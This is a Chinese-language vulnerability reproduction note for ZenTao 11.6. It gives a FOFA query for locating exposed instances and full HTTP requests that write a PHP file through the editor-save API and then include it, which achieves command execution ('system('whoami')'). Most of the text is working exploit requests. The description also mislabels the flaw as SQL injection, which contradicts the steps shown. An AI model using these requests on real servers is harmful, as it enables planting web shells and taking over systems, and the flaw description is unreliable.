C4-2禅道-文件上传

漏洞描述：

禅道11.6版本中对用户接口调用权限过滤不完善，导致调用接口执行SQL语句导致SQL注入

影响版本：

禅道11.6

网站图片：

网络测绘：

fofa语法：

body:"禅道"

漏洞复现：

任意用户登录后台使用api-getModel-editor-save-filePath方法写入文件： payload：

```
POST /zentao/api-getModel-editor-save-filePath=/shell.php HTTP/1.1
Host: 192.168.110.231
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; windowWidth=1512; windowHeight=762; zentaosid=gq102a3mtfmhv2399e1knr9nc0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

fileContent=<?php phpinfo();?>
```

效果图: 利用禅道11.6版本 任意文件读取漏洞进行文件包含

```
http://192.168.110.231/zentao/api-getModel-api-getMethod-filePath=/shell/1
```

命令执行：

```
POST /zentao/api-getModel-editor-save-filePath=/shell.php HTTP/1.1
Host: 192.168.110.231
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```

```
Cookie: lang=zh-cn; device=desktop; theme=default; windowWidth=1512; windowHeight=762; zentaosid=gq102a3mtfmhv2399e1knr9nc0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

fileContent=<?php system('whoami'); ?>
```

```
GET /zentao/api-getModel-api-getMethod-filePath=/shell/1 HTTP/1.1
Host: 192.168.110.231
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; windowWidth=1512; windowHeight=762; zentaosid=gq102a3mtfmhv2399e1knr9nc0
Upgrade-Insecure-Requests: 1
```